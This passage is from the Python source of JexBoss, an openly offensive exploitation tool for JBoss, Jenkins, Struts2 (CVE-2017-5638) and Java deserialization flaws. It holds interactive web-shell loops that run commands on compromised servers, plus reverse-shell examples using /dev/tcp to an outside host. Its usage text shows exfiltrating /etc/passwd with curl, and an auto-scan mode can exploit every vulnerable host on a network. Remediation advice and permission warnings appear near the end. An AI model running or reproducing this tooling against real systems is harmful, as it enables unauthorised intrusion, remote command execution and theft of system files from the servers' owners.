print_and_flush(GREEN + "\n * You can still try to exploit deserialization vulnerabilitie in ViewState!\n" +
|
||
|
|
" Try this: python jexboss.py -u %s/admin-console/login.seam --app-unserialize\n" %url +
|
||
|
|
" Type [ENTER] to continue...\n" + ENDC)
|
||
|
|
|
||
|
|
else:
|
||
|
|
print_and_flush(RED + "\n * Could not exploit the flaw automatically. Exploitation requires manual analysis...\n" +
|
||
|
|
" Type [ENTER] to continue...\n" + ENDC)
|
||
|
|
logging.error("Could not exploit the server %s automatically. HTTP Code: %s" %(url, result))
|
||
|
|
# wait while enter is typed
|
||
|
|
input().lower() if version_info[0] >= 3 else raw_input().lower()
|
||
|
|
return False
|
||
|
|
|
||
|
|
|
||
|
|
def ask_for_reverse_host_and_port():
|
||
|
|
print_and_flush(GREEN + " * Please enter the IP address and tcp PORT of your listening server for try to get a REVERSE SHELL.\n"
|
||
|
|
" OBS: You can also use the --cmd \"command\" to send specific commands to run on the server."+NORMAL)
|
||
|
|
|
||
|
|
# If not *nix (that is, if somethine like git bash on Rwindow$)
|
||
|
|
if not sys.stdout.isatty():
|
||
|
|
print_and_flush(" IP Address (RHOST): ", same_line=True)
|
||
|
|
host = input().lower() if version_info[0] >= 3 else raw_input().lower()
|
||
|
|
print_and_flush(" Port (RPORT): ", same_line=True)
|
||
|
|
port = input().lower() if version_info[0] >= 3 else raw_input().lower()
|
||
|
|
else:
|
||
|
|
host = input(" IP Address (RHOST): ").lower() if version_info[0] >= 3 else raw_input(" IP Address (RHOST): ").lower()
|
||
|
|
port = input(" Port (RPORT): ").lower() if version_info[0] >= 3 else raw_input(" Port (RPORT): ").lower()
|
||
|
|
|
||
|
|
print ("")
|
||
|
|
return str(host), str(port)
|
||
|
|
|
||
|
|
|
||
|
|
def get_host_port_reverse_params():
|
||
|
|
# if reverse host were provided in the args, take it
|
||
|
|
if gl_args.reverse_host:
|
||
|
|
|
||
|
|
if gl_args.windows:
|
||
|
|
jexboss.print_and_flush(RED + "\n * WINDOWS Systems still do not support reverse shell.\n"
|
||
|
|
" Use option --cmd instead of --reverse-shell...\n" + ENDC +
|
||
|
|
" Type [ENTER] to continue...\n")
|
||
|
|
# wait while enter is typed
|
||
|
|
input().lower() if version_info[0] >= 3 else raw_input().lower()
|
||
|
|
return None, None
|
||
|
|
|
||
|
|
tokens = gl_args.reverse_host.split(":")
|
||
|
|
if len(tokens) != 2:
|
||
|
|
host, port = ask_for_reverse_host_and_port()
|
||
|
|
else:
|
||
|
|
host = tokens[0]
|
||
|
|
port = tokens[1]
|
||
|
|
# if neither cmd nor reverse nor load_gadget was provided, ask host and port
|
||
|
|
elif gl_args.cmd is None and gl_args.load_gadget is None:
|
||
|
|
host, port = ask_for_reverse_host_and_port()
|
||
|
|
else:
|
||
|
|
# if cmd or gadget file ware privided
|
||
|
|
host, port = None, None
|
||
|
|
|
||
|
|
return host, port
|
||
|
|
|
||
|
|
|
||
|
|
def shell_http_struts(url):
|
||
|
|
"""
|
||
|
|
Connect to an HTTP shell
|
||
|
|
:param url: struts app url
|
||
|
|
:param shell_type: The type of shell to connect to
|
||
|
|
"""
|
||
|
|
print_and_flush("# ----------------------------------------- #\n")
|
||
|
|
print_and_flush(GREEN + BOLD + " * For a Reverse Shell (like meterpreter =]), type sometime like: \n\n"
|
||
|
|
"\n" +ENDC+
|
||
|
|
" Shell>/bin/bash -i > /dev/tcp/192.168.0.10/4444 0>&1 2>&1\n"
|
||
|
|
" \n"+GREEN+
|
||
|
|
" And so on... =]\n" +ENDC
|
||
|
|
)
|
||
|
|
print_and_flush("# ----------------------------------------- #\n")
|
||
|
|
|
||
|
|
resp = _exploits.exploit_struts2_jakarta_multipart(url,'whoami', gl_args.cookies)
|
||
|
|
|
||
|
|
print_and_flush(resp.replace('\\n', '\n'), same_line=True)
|
||
|
|
logging.info("Server %s exploited!" %url)
|
||
|
|
|
||
|
|
while 1:
|
||
|
|
print_and_flush(BLUE + "[Type commands or \"exit\" to finish]" +ENDC)
|
||
|
|
|
||
|
|
if not sys.stdout.isatty():
|
||
|
|
print_and_flush("Shell> ", same_line=True)
|
||
|
|
cmd = input() if version_info[0] >= 3 else raw_input()
|
||
|
|
else:
|
||
|
|
cmd = input("Shell> ") if version_info[0] >= 3 else raw_input("Shell> ")
|
||
|
|
|
||
|
|
if cmd == "exit":
|
||
|
|
break
|
||
|
|
|
||
|
|
resp = _exploits.exploit_struts2_jakarta_multipart(url, cmd, gl_args.cookies)
|
||
|
|
print_and_flush(resp.replace('\\n', '\n'))
|
||
|
|
|
||
|
|
|
||
|
|
# FIX: capture the readtimeout File "jexboss.py", line 333, in shell_http
|
||
|
|
def shell_http(url, shell_type):
|
||
|
|
"""
|
||
|
|
Connect to an HTTP shell
|
||
|
|
:param url: The URL to connect to
|
||
|
|
:param shell_type: The type of shell to connect to
|
||
|
|
"""
|
||
|
|
headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
||
|
|
"Connection": "keep-alive",
|
||
|
|
"User-Agent": get_random_user_agent()}
|
||
|
|
|
||
|
|
if gl_args.disable_check_updates:
|
||
|
|
headers['no-check-updates'] = 'true'
|
||
|
|
|
||
|
|
if shell_type == "jmx-console" or shell_type == "web-console" or shell_type == "admin-console":
|
||
|
|
path = '/jexws4/jexws4.jsp?'
|
||
|
|
elif shell_type == "JMXInvokerServlet":
|
||
|
|
path = '/jexinv4/jexinv4.jsp?'
|
||
|
|
|
||
|
|
gl_http_pool.request('GET', url+path, redirect=False, headers=headers)
|
||
|
|
|
||
|
|
sleep(7)
|
||
|
|
resp = ""
|
||
|
|
print_and_flush("# ----------------------------------------- # LOL # ----------------------------------------- #\n")
|
||
|
|
print_and_flush(RED + " * " + url + ": \n" + ENDC)
|
||
|
|
print_and_flush("# ----------------------------------------- #\n")
|
||
|
|
print_and_flush(GREEN + BOLD + " * For a Reverse Shell (like meterpreter =]), type the command: \n\n"
|
||
|
|
" jexremote=YOUR_IP:YOUR_PORT\n\n" + ENDC + GREEN +
|
||
|
|
" Example:\n" +ENDC+
|
||
|
|
" Shell>jexremote=192.168.0.10:4444\n"
|
||
|
|
"\n" +GREEN+
|
||
|
|
" Or use other techniques of your choice, like:\n" +ENDC+
|
||
|
|
" Shell>/bin/bash -i > /dev/tcp/192.168.0.10/4444 0>&1 2>&1\n"
|
||
|
|
" \n"+GREEN+
|
||
|
|
" And so on... =]\n" +ENDC
|
||
|
|
)
|
||
|
|
print_and_flush("# ----------------------------------------- #\n")
|
||
|
|
|
||
|
|
for cmd in ['uname -a', 'cat /etc/issue', 'id']:
|
||
|
|
cmd = urlencode({"ppp": cmd})
|
||
|
|
try:
|
||
|
|
r = gl_http_pool.request('GET', url + path + cmd, redirect=False, headers=headers)
|
||
|
|
resp += " " + str(r.data).split(">")[1]
|
||
|
|
except:
|
||
|
|
print_and_flush(RED + " * Apparently an IPS is blocking some requests. Check for updates will be disabled...\n\n"+ENDC)
|
||
|
|
logging.warning("Disabling checking for updates.", exc_info=traceback)
|
||
|
|
headers['no-check-updates'] = 'true'
|
||
|
|
|
||
|
|
print_and_flush(resp.replace('\\n', '\n'), same_line=True)
|
||
|
|
logging.info("Server %s exploited!" %url)
|
||
|
|
|
||
|
|
while 1:
|
||
|
|
print_and_flush(BLUE + "[Type commands or \"exit\" to finish]" +ENDC)
|
||
|
|
|
||
|
|
if not sys.stdout.isatty():
|
||
|
|
print_and_flush("Shell> ", same_line=True)
|
||
|
|
cmd = input() if version_info[0] >= 3 else raw_input()
|
||
|
|
else:
|
||
|
|
cmd = input("Shell> ") if version_info[0] >= 3 else raw_input("Shell> ")
|
||
|
|
|
||
|
|
if cmd == "exit":
|
||
|
|
break
|
||
|
|
|
||
|
|
cmd = urlencode({"ppp": cmd})
|
||
|
|
try:
|
||
|
|
r = gl_http_pool.request('GET', url + path + cmd, redirect=False, headers=headers)
|
||
|
|
except:
|
||
|
|
print_and_flush(RED + " * Error contacting the command shell. Try again and see logs for details ...")
|
||
|
|
logging.error("Error contacting the command shell", exc_info=traceback)
|
||
|
|
continue
|
||
|
|
|
||
|
|
resp = str(r.data)
|
||
|
|
if r.status == 404:
|
||
|
|
print_and_flush(RED + " * Error contacting the command shell. Try again later...")
|
||
|
|
continue
|
||
|
|
stdout = ""
|
||
|
|
try:
|
||
|
|
stdout = resp.split("pre>")[1]
|
||
|
|
except:
|
||
|
|
print_and_flush(RED + " * Error contacting the command shell. Try again later...")
|
||
|
|
if stdout.count("An exception occurred processing JSP page") == 1:
|
||
|
|
print_and_flush(RED + " * Error executing command \"%s\". " % cmd.split("=")[1] + ENDC)
|
||
|
|
else:
|
||
|
|
print_and_flush(stdout.replace('\\n', '\n'))
|
||
|
|
|
||
|
|
|
||
|
|
def clear():
|
||
|
|
"""
|
||
|
|
Clears the console
|
||
|
|
"""
|
||
|
|
if name == 'posix':
|
||
|
|
system('clear')
|
||
|
|
elif name == ('ce', 'nt', 'dos'):
|
||
|
|
system('cls')
|
||
|
|
|
||
|
|
|
||
|
|
def banner():
|
||
|
|
"""
|
||
|
|
Print the banner
|
||
|
|
"""
|
||
|
|
clear()
|
||
|
|
print_and_flush(RED1 + "\n * --- JexBoss: Jboss verify and EXploitation Tool --- *\n"
|
||
|
|
" | * And others Java Deserialization Vulnerabilities * | \n"
|
||
|
|
" | |\n"
|
||
|
|
" | @author: João Filho Matos Figueiredo |\n"
|
||
|
|
" | @contact: joaomatosf@gmail.com |\n"
|
||
|
|
" | |\n"
|
||
|
|
" | @update: https://github.com/joaomatosf/jexboss |\n"
|
||
|
|
" #______________________________________________________#\n")
|
||
|
|
print_and_flush(RED1 + " @version: %s" % __version__)
|
||
|
|
print_and_flush (ENDC)
|
||
|
|
|
||
|
|
|
||
|
|
def help_usage():
|
||
|
|
usage = (BOLD + BLUE + " Examples: [for more options, type python jexboss.py -h]\n" + ENDC +
|
||
|
|
BLUE + "\n For simple usage, you must provide the host name or IP address you\n"
|
||
|
|
" want to test [-host or -u]:\n" +
|
||
|
|
GREEN + "\n $ python jexboss.py -u https://site.com.br" +
|
||
|
|
|
||
|
|
BLUE + "\n\n For Java Deserialization Vulnerabilities in HTTP POST parameters. \n"
|
||
|
|
" This will ask for an IP address and port to try to get a reverse shell:\n" +
|
||
|
|
GREEN + "\n $ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize" +
|
||
|
|
|
||
|
|
BLUE + "\n\n For Java Deserialization Vulnerabilities in a custom HTTP parameter and \n"
|
||
|
|
" to send a custom command to be executed on the exploited server:\n" +
|
||
|
|
GREEN + "\n $ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize\n"
|
||
|
|
" -H parameter_name --cmd 'curl -d@/etc/passwd http://your_server'" +
|
||
|
|
|
||
|
|
BLUE + "\n\n For Java Deserialization Vulnerabilities in a Servlet (like Invoker):\n"+
|
||
|
|
GREEN + "\n $ python jexboss.py -u http://vulnerable_java_app/path --servlet-unserialize\n" +
|
||
|
|
|
||
|
|
BLUE + "\n\n To test Java Deserialization Vulnerabilities with DNS Lookup:\n" +
|
||
|
|
GREEN + "\n $ python jexboss.py -u http://vulnerable_java_app/path --gadget dns --dns test.yourdomain.com" +
|
||
|
|
|
||
|
|
BLUE + "\n\n For Jenkins CLI Deserialization Vulnerabilitie:\n"+
|
||
|
|
GREEN + "\n $ python jexboss.py -u http://vulnerable_java_app/jenkins --jenkins"+
|
||
|
|
|
||
|
|
BLUE + "\n\n For Apache Struts2 Vulnerabilities (CVE-2017-5638):\n" +
|
||
|
|
GREEN + "\n $ python jexboss.py -u http://vulnerable_java_app/path.action --struts2\n" +
|
||
|
|
|
||
|
|
BLUE + "\n\n For auto scan mode, you must provide the network in CIDR format, "
|
||
|
|
"\n list of ports and filename for store results:\n" +
|
||
|
|
GREEN + "\n $ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 \n"
|
||
|
|
" -results report_auto_scan.log" +
|
||
|
|
|
||
|
|
BLUE + "\n\n For file scan mode, you must provide the filename with host list "
|
||
|
|
"\n to be scanned (one host per line) and filename for store results:\n" +
|
||
|
|
GREEN + "\n $ python jexboss.py -mode file-scan -file host_list.txt -out report_file_scan.log\n" + ENDC)
|
||
|
|
return usage
|
||
|
|
|
||
|
|
|
||
|
|
def network_args(string):
|
||
|
|
try:
|
||
|
|
if version_info[0] >= 3:
|
||
|
|
value = ipaddress.ip_network(string)
|
||
|
|
else:
|
||
|
|
value = ipaddress.ip_network(unicode(string))
|
||
|
|
except:
|
||
|
|
msg = "%s is not a network address in CIDR format." % string
|
||
|
|
logging.error("%s is not a network address in CIDR format." % string)
|
||
|
|
raise argparse.ArgumentTypeError(msg)
|
||
|
|
return value
|
||
|
|
|
||
|
|
|
||
|
|
def main():
|
||
|
|
"""
|
||
|
|
Run interactively. Call when the module is run by itself.
|
||
|
|
:return: Exit code
|
||
|
|
"""
|
||
|
|
# check for Updates
|
||
|
|
if not gl_args.disable_check_updates:
|
||
|
|
updates = _updates.check_updates()
|
||
|
|
if updates:
|
||
|
|
print_and_flush(BLUE + BOLD + "\n\n * An update is available and is recommended update before continuing.\n" +
|
||
|
|
" Do you want to update now?")
|
||
|
|
if not sys.stdout.isatty():
|
||
|
|
print_and_flush(" YES/no? ", same_line=True)
|
||
|
|
pick = input().lower() if version_info[0] >= 3 else raw_input().lower()
|
||
|
|
else:
|
||
|
|
pick = input(" YES/no? ").lower() if version_info[0] >= 3 else raw_input(" YES/no? ").lower()
|
||
|
|
|
||
|
|
print_and_flush(ENDC)
|
||
|
|
if pick != "no":
|
||
|
|
updated = _updates.auto_update()
|
||
|
|
if updated:
|
||
|
|
print_and_flush(GREEN + BOLD + "\n * The JexBoss has been successfully updated. Please run again to enjoy the updates.\n" +ENDC)
|
||
|
|
exit(0)
|
||
|
|
else:
|
||
|
|
print_and_flush(RED + BOLD + "\n\n * An error occurred while updating the JexBoss. Please try again..\n" +ENDC)
|
||
|
|
exit(1)
|
||
|
|
|
||
|
|
vulnerables = False
|
||
|
|
# check vulnerabilities for standalone mode
|
||
|
|
if gl_args.mode == 'standalone':
|
||
|
|
url = gl_args.host
|
||
|
|
scan_results = check_vul(url)
|
||
|
|
# performs exploitation for jboss vulnerabilities
|
||
|
|
for vector in scan_results:
|
||
|
|
if scan_results[vector] == 200 or scan_results[vector] == 500:
|
||
|
|
vulnerables = True
|
||
|
|
if gl_args.auto_exploit:
|
||
|
|
auto_exploit(url, vector)
|
||
|
|
else:
|
||
|
|
|
||
|
|
if vector == "Application Deserialization":
|
||
|
|
msg_confirm = " If successful, this operation will provide a reverse shell. You must enter the\n" \
|
||
|
|
" IP address and Port of your listening server.\n"
|
||
|
|
else:
|
||
|
|
msg_confirm = " If successful, this operation will provide a simple command shell to execute \n" \
|
||
|
|
" commands on the server..\n"
|
||
|
|
|
||
|
|
print_and_flush(BLUE + "\n\n * Do you want to try to run an automated exploitation via \"" +
|
||
|
|
BOLD + vector + NORMAL + "\" ?\n" +
|
||
|
|
msg_confirm +
|
||
|
|
RED + " Continue only if you have permission!" + ENDC)
|
||
|
|
if not sys.stdout.isatty():
|
||
|
|
print_and_flush(" yes/NO? ", same_line=True)
|
||
|
|
pick = input().lower() if version_info[0] >= 3 else raw_input().lower()
|
||
|
|
else:
|
||
|
|
pick = input(" yes/NO? ").lower() if version_info[0] >= 3 else raw_input(" yes/NO? ").lower()
|
||
|
|
|
||
|
|
if pick == "yes":
|
||
|
|
auto_exploit(url, vector)
|
||
|
|
|
||
|
|
# check vulnerabilities for auto scan mode
|
||
|
|
elif gl_args.mode == 'auto-scan':
|
||
|
|
file_results = open(gl_args.results, 'w')
|
||
|
|
file_results.write("JexBoss Scan Mode Report\n\n")
|
||
|
|
for ip in gl_args.network.hosts():
|
||
|
|
if gl_interrupted: break
|
||
|
|
for port in gl_args.ports.split(","):
|
||
|
|
if check_connectivity(ip, port):
|
||
|
|
url = "{0}:{1}".format(ip,port)
|
||
|
|
ip_results = check_vul(url)
|
||
|
|
for key in ip_results.keys():
|
||
|
|
if ip_results[key] == 200 or ip_results[key] == 500:
|
||
|
|
vulnerables = True
|
||
|
|
if gl_args.auto_exploit:
|
||
|
|
result_exploit = auto_exploit(url, key)
|
||
|
|
if result_exploit:
|
||
|
|
file_results.write("{0}:\t[EXPLOITED VIA {1}]\n".format(url, key))
|
||
|
|
else:
|
||
|
|
file_results.write("{0}:\t[FAILED TO EXPLOITED VIA {1}]\n".format(url, key))
|
||
|
|
else:
|
||
|
|
file_results.write("{0}:\t[POSSIBLY VULNERABLE TO {1}]\n".format(url, key))
|
||
|
|
|
||
|
|
file_results.flush()
|
||
|
|
else:
|
||
|
|
print_and_flush (RED+"\n * Host %s:%s does not respond."% (ip,port)+ENDC)
|
||
|
|
file_results.close()
|
||
|
|
# check vulnerabilities for file scan mode
|
||
|
|
elif gl_args.mode == 'file-scan':
|
||
|
|
file_results = open(gl_args.out, 'w')
|
||
|
|
file_results.write("JexBoss Scan Mode Report\n\n")
|
||
|
|
file_input = open(gl_args.file, 'r')
|
||
|
|
for url in file_input.readlines():
|
||
|
|
if gl_interrupted: break
|
||
|
|
url = url.strip()
|
||
|
|
ip = str(parse_url(url)[2])
|
||
|
|
port = parse_url(url)[3] if parse_url(url)[3] != None else 80
|
||
|
|
if check_connectivity(ip, port):
|
||
|
|
url_results = check_vul(url)
|
||
|
|
for key in url_results.keys():
|
||
|
|
if url_results[key] == 200 or url_results[key] == 500:
|
||
|
|
vulnerables = True
|
||
|
|
if gl_args.auto_exploit:
|
||
|
|
result_exploit = auto_exploit(url, key)
|
||
|
|
if result_exploit:
|
||
|
|
file_results.write("{0}:\t[EXPLOITED VIA {1}]\n".format(url, key))
|
||
|
|
else:
|
||
|
|
file_results.write("{0}:\t[FAILED TO EXPLOITED VIA {1}]\n".format(url, key))
|
||
|
|
else:
|
||
|
|
file_results.write("{0}:\t[POSSIBLY VULNERABLE TO {1}]\n".format(url, key))
|
||
|
|
|
||
|
|
file_results.flush()
|
||
|
|
else:
|
||
|
|
print_and_flush (RED + "\n * Host %s:%s does not respond." % (ip, port) + ENDC)
|
||
|
|
file_results.close()
|
||
|
|
|
||
|
|
# resume results
|
||
|
|
if vulnerables:
|
||
|
|
banner()
|
||
|
|
print_and_flush(RED + BOLD+" Results: potentially compromised server!" + ENDC)
|
||
|
|
if gl_args.mode == 'file-scan':
|
||
|
|
print_and_flush(RED + BOLD + " ** Check more information on file {0} **".format(gl_args.out) + ENDC)
|
||
|
|
elif gl_args.mode == 'auto-scan':
|
||
|
|
print_and_flush(RED + BOLD + " ** Check more information on file {0} **".format(gl_args.results) + ENDC)
|
||
|
|
|
||
|
|
print_and_flush(GREEN + " ---------------------------------------------------------------------------------\n"
|
||
|
|
+BOLD+ " Recommendations: \n" +ENDC+
|
||
|
|
GREEN+ " - Remove web consoles and services that are not used, eg:\n"
|
||
|
|
" $ rm web-console.war http-invoker.sar jmx-console.war jmx-invoker-adaptor-server.sar admin-console.war\n"
|
||
|
|
" - Use a reverse proxy (eg. nginx, apache, F5)\n"
|
||
|
|
" - Limit access to the server only via reverse proxy (eg. DROP INPUT POLICY)\n"
|
||
|
|
" - Search vestiges of exploitation within the directories \"deploy\" and \"management\".\n"
|
||
|
|
" - Do NOT TRUST serialized objects received from the user\n"
|
||
|
|
" - If possible, stop using serialized objects as input!\n"
|
||
|
|
" - If you need to work with serialization, consider migrating to the Gson lib.\n"
|
||
|
|
" - Use a strict whitelist with Look-ahead[3] before deserialization\n"
|
||
|
|
" - For a quick (but not definitive) remediation for the viewState input, store the state \n"
|
||
|
|
" of the view components on the server (this will increase the heap memory consumption): \n"
|
||
|
|
" In web.xml, change the \"client\" parameter to \"server\" on STATE_SAVING_METHOD.\n"
|
||
|
|
" - Upgrade Apache Struts: https://cwiki.apache.org/confluence/display/WW/S2-045\n"
|
||
|
|
"\n References:\n"
|
||
|
|
" [1] - https://developer.jboss.org/wiki/SecureTheJmxConsole\n"
|
||
|
|
" [2] - https://issues.jboss.org/secure/attachment/12313982/jboss-securejmx.pdf\n"
|
||
|
|
" [3] - https://www.ibm.com/developerworks/library/se-lookahead/\n"
|
||
|
|
" [4] - https://www.owasp.org/index.php/Deserialization_of_untrusted_data\n"
|
||
|
|
"\n"
|
||
|
|
" - If possible, discard this server!\n"
|
||
|
|
" ---------------------------------------------------------------------------------")
|
||
|
|
else:
|
||
|
|
print_and_flush(GREEN + "\n\n * Results: \n" +
|
||
|
|
" The server is not vulnerable to bugs tested ... :D\n" + ENDC)
|
||
|
|
# infos
|
||
|
|
print_and_flush(ENDC + " * Info: review, suggestions, updates, etc: \n" +
|
||
|
|
" https://github.com/joaomatosf/jexboss\n")
|
||
|
|
|
||
|
|
print_and_flush(GREEN + BOLD + " * DONATE: " + ENDC + "Please consider making a donation to help improve this tool,\n" +
|
||
|
|
GREEN + BOLD + " * Bitcoin Address: " + ENDC + " 14x4niEpfp7CegBYr3tTzTn4h6DAnDCD9C \n" )
|
||
|
|
|
||
|
|
|
||
|
|
print_and_flush(ENDC)
|
||
|
|
|
||
|
|
#banner()
|
||
|
|
|
||
|
|
|
||
|
|
if __name__ == "__main__":
|
||
|
|
|
||
|
|
|
||
|
|
parser = argparse.ArgumentParser(
|
||
|
|
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||
|
|
#description="JexBoss v%s: JBoss verify and EXploitation Tool" %__version,
|
||
|
|
description=textwrap.dedent(RED1 +
|
||
|
|
"\n # --- JexBoss: Jboss verify and EXploitation Tool --- #\n"
|
||
|
|
" | And others Java Deserialization Vulnerabilities | \n"
|
||
|
|
" | |\n"
|
||
|
|
" | @author: João Filho Matos Figueiredo |\n"
|
||
|
|
" | @contact: joaomatosf@gmail.com |\n"
|
||
|
|
" | |\n"
|
||
|
|
" | @updates: https://github.com/joaomatosf/jexboss |\n"
|
||
|
|
" #______________________________________________________#\n"
|
||
|
|
" @version: " + __version__ + "\n" + help_usage()),
|
||
|
|
epilog="",
|
||
|
|
prog="JexBoss"
|
||
|
|
)
|
||
|
|
|
||
|
|
group_standalone = parser.add_argument_group('Standalone mode')
|
||
|
|
group_advanced = parser.add_argument_group('Advanced Options (USE WHEN EXPLOITING JAVA UNSERIALIZE IN APP LAYER)')
|
||
|
|
group_auto_scan = parser.add_argument_group('Auto scan mode')
|
||
|
|
group_file_scan = parser.add_argument_group('File scan mode')
|
||
|
|
|
||
|
|
# optional parameters ---------------------------------------------------------------------------------------
|
||
|
|
parser.add_argument('--version', action='version', version='%(prog)s ' + __version__)
|
||
|
|
parser.add_argument("--auto-exploit", "-A", help="Send exploit code automatically (USE ONLY IF YOU HAVE PERMISSION!!!)",
|
||
|
|
action='store_true')
|
||
|
|
parser.add_argument("--disable-check-updates", "-D", help="Disable two updates checks: 1) Check for updates "
|
||
|
|
"performed by the webshell in exploited server at http://webshell.jexboss.net/jsp_version.txt and 2) check for updates "
|
||
|
|
"performed by the jexboss client at http://joaomatosf.com/rnp/releases.txt",
|
||
|
|
action='store_true')
|
||
|
|
parser.add_argument('-mode', help="Operation mode (DEFAULT: standalone)", choices=['standalone', 'auto-scan', 'file-scan'], default='standalone')
|
||
|
|
parser.add_argument("--app-unserialize", "-j",
|
||
|
|
help="Check for java unserialization vulnerabilities in HTTP parameters (eg. javax.faces.ViewState, "
|
||
|
|
"oldFormData, etc)", action='store_true')
|
||
|
|
parser.add_argument("--servlet-unserialize", "-l",
|
||
|
|
help="Check for java unserialization vulnerabilities in Servlets (like Invoker interfaces)",
|
||
|
|
action='store_true')
|
||
|
|
parser.add_argument("--jboss", help="Check only for JBOSS vectors.", action='store_true')
|
||
|
|
parser.add_argument("--jenkins", help="Check only for Jenkins CLI vector (CVE-2015-5317).", action='store_true')
|
||
|
|
parser.add_argument("--struts2", help="Check only for Struts2 Jakarta Multipart parser (CVE-2017-5638).", action='store_true')
|
||
|
|
parser.add_argument("--jmxtomcat", help="Check JMX JmxRemoteLifecycleListener in Tomcat (CVE-2016-8735 and "
|
||
|
|
"CVE-2016-3427). OBS: Will not be checked by default.", action='store_true')
|
||
|
|
|
||
|
|
parser.add_argument('--proxy', "-P", help="Use a http proxy to connect to the target URL (eg. -P http://192.168.0.1:3128)", )
|
||
|
|
parser.add_argument('--proxy-cred', "-L", help="Proxy authentication credentials (eg -L name:password)", metavar='LOGIN:PASS')
|
||
|
|
parser.add_argument('--jboss-login', "-J", help="JBoss login and password for exploit admin-console in JBoss 5 and JBoss 6 "
|
||
|
|
"(default: admin:admin)", metavar='LOGIN:PASS', default='admin:admin')
|
||
|
|
parser.add_argument('--timeout', help="Seconds to wait before timeout connection (default 3)", default=3, type=int)
|
||
|
|
|
||
|
|
parser.add_argument('--cookies', help="Specify cookies for Struts 2 Exploit. Use this to test features that require authentication. "
|
||
|
|
"Format: \"NAME1=VALUE1; NAME2=VALUE2\" (eg. --cookie \"JSESSIONID=24517D9075136F202DCE20E9C89D424D\""
|
||
|
|
, type=str, metavar='NAME=VALUE')
|
||
|
|
#parser.add_argument('--retries', help="Retries when the connection timeouts (default 3)", default=3, type=int)
|
||
|
|
|
||
|
|
# advanced parameters ---------------------------------------------------------------------------------------
|
||
|
|
group_advanced.add_argument("--reverse-host", "-r", help="Remote host address and port for reverse shell when exploiting "
|
||
|
|
"Java Deserialization Vulnerabilities in application layer "
|
||
|
|
"(for now, working only against *nix systems)"
|
||
|
|
"(eg. 192.168.0.10:1331)", type=str, metavar='RHOST:RPORT')
|
||
|
|
group_advanced.add_argument("--cmd", "-x",
|
||
|
|
help="Send specific command to run on target (eg. curl -d @/etc/passwd http://your_server)"
|
||
|
|
, type=str, metavar='CMD')
|
||
|
|
group_advanced.add_argument("--dns", help="Specifies the dns query for use with \"dns\" Gadget", type=str, metavar='URL')
|
||
|
|
group_advanced.add_argument("--windows", "-w", help="Specifies that the commands are for rWINDOWS System$ (cmd.exe)",
|
||
|
|
action='store_true')
|
||
|
|
group_advanced.add_argument("--post-parameter", "-H", help="Specify the parameter to find and inject serialized objects into it."
|
||
|
|
" (egs. -H javax.faces.ViewState or -H oldFormData (<- Hi PayPal =X) or others)"
|
||
|
|
" (DEFAULT: javax.faces.ViewState)",
|
||
|
|
default='javax.faces.ViewState', metavar='PARAMETER')
|
||
|
|
group_advanced.add_argument("--show-payload", "-t", help="Print the generated payload.",
|
||
|
|
action='store_true')
|
||
|
|
group_advanced.add_argument("--gadget", help="Specify the type of Gadget to generate the payload automatically."
|
||
|
|
" (DEFAULT: commons-collections3.1 or groovy1 for JenKins)",
|
||
|
|
choices=['commons-collections3.1', 'commons-collections4.0', 'jdk7u21', 'jdk8u20', 'groovy1', 'dns'],
|
||
|
|
default='commons-collections3.1')
|
||
|
|
group_advanced.add_argument("--load-gadget", help="Provide your own gadget from file (a java serialized object in RAW mode)",
|
||
|
|
metavar='FILENAME')
|
||
|
|
group_advanced.add_argument("--force", "-F",
|
||
|
|
help="Force send java serialized gadgets to URL informed in -u parameter. This will "
|
||
|
|
"send the payload in multiple formats (eg. RAW, GZIPED and BASE64) and with "
|
||
|
|
"different Content-Types.",action='store_true')
|
||
|
|
|
||
|
|
# required parameters ---------------------------------------------------------------------------------------
|
||
|
|
group_standalone.add_argument("-host", "-u", help="Host address to be checked (eg. -u http://192.168.0.10:8080)",
|
||
|
|
type=str)
|
||
|
|
|
||
|
|
# scan's mode parameters ---------------------------------------------------------------------------------------
|
||
|
|
group_auto_scan.add_argument("-network", help="Network to be checked in CIDR format (eg. 10.0.0.0/8)",
|
||
|
|
type=network_args, default='192.168.0.0/24')
|
||
|
|
group_auto_scan.add_argument("-ports", help="List of ports separated by commas to be checked for each host "
|
||
|
|
"(eg. 8080,8443,8888,80,443)", type=str, default='8080,80')
|
||
|
|
group_auto_scan.add_argument("-results", help="File name to store the auto scan results", type=str,
|
||
|
|
metavar='FILENAME', default='jexboss_auto_scan_results.log')
|
||
|
|
|
||
|
|
group_file_scan.add_argument("-file", help="Filename with host list to be scanned (one host per line)",
|
||
|
|
type=str, metavar='FILENAME_HOSTS')
|
||
|
|
group_file_scan.add_argument("-out", help="File name to store the file scan results", type=str,
|
||
|
|
metavar='FILENAME_RESULTS', default='jexboss_file_scan_results.log')
|
||
|
|
|
||
|
|
gl_args = parser.parse_args()
|
||
|
|
|
||
|
|
if (gl_args.mode == 'standalone' and gl_args.host is None) or \
|
||
|
|
(gl_args.mode == 'file-scan' and gl_args.file is None) or \
|
||
|
|
(gl_args.gadget == 'dns' and gl_args.dns is None):
|
||
|
|
banner()
|
||
|
|
print (help_usage())
|
||
|
|
exit(0)
|
||
|
|
else:
|
||
|
|
configure_http_pool()
|
||
|
|
_updates.set_http_pool(gl_http_pool)
|
||
|
|
_exploits.set_http_pool(gl_http_pool)
|
||
|
|
banner()
|
||
|
|
if gl_args.proxy and not is_proxy_ok():
|
||
|
|
exit(1)
|
||
|
|
if gl_args.gadget == 'dns': gl_args.cmd = gl_args.dns
|
||
|
|
main()
|
||
|
|
|
||
|
|
if __name__ == '__testing__':
|
||
|
|
headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
||
|
|
"Connection": "keep-alive",
|
||
|
|
"User-Agent": get_random_user_agent()}
|
||
|
|
|
||
|
|
timeout = Timeout(connect=1.0, read=3.0)
|
||
|
|
gl_http_pool = PoolManager(timeout=timeout, cert_reqs='CERT_NONE')
|
||
|
|
_exploits.set_http_pool(gl_http_pool)
|
||
|
|
|
||
|
|
|